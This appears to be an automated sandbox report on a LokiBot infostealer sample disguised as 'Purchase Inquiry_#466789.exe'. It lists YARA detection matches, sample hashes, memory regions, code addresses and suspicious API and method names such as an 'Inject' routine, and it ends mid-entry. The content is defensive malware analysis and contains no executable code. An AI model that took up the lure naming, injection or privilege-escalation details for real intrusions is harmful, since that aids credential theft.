Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Purchase Inquiry_#466789.exe

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_0116D4FC	0_2_0116D4FC
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_05902F98	0_2_05902F98
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_05902F6B	0_2_05902F6B
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_05904EB0	0_2_05904EB0
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_0590A0A0	0_2_0590A0A0
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_05903808	0_2_05903808
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_059033D0	0_2_059033D0
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_059033C0	0_2_059033C0
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 0_2_059052E8	0_2_059052E8
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 2_2_0040549C	2_2_0040549C
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: 2_2_004029D4	2_2_004029D4

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: String function: 00405B6F appears 42 times

Source: Purchase Inquiry_#466789.exe

Static PE information: invalid certificate

Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676317717.0000000005560000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs Purchase Inquiry_#466789.exe
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1673543740.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Purchase Inquiry_#466789.exe
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1674708202.0000000003F94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Purchase Inquiry_#466789.exe
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1677037989.0000000007528000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Purchase Inquiry_#466789.exe
Source: Purchase Inquiry_#466789.exe	Binary or memory string: OriginalFilenameqIBe.exe" vs Purchase Inquiry_#466789.exe

Source: Purchase Inquiry_#466789.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: Purchase Inquiry_#466789.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OLFvd2ig8Hgk5m8cI7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OoLUaOdU4hOfgrkdvf.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OoLUaOdU4hOfgrkdvf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Purchase Inquiry_#466789.exe.3fbc460.7.raw.unpack, OoLUaOdU4hOfgrkdvf.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: 0.2.Purchase Inquiry_#466789.exe.5890000.10.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Inquiry_#466789.exe.3084a9c.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Inquiry_#466789.exe.2d4f3f0.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Purchase Inquiry_#466789.exe.2d5f408.0.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@0/1

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

2_2_0040650A

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

2_2_0040434D

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

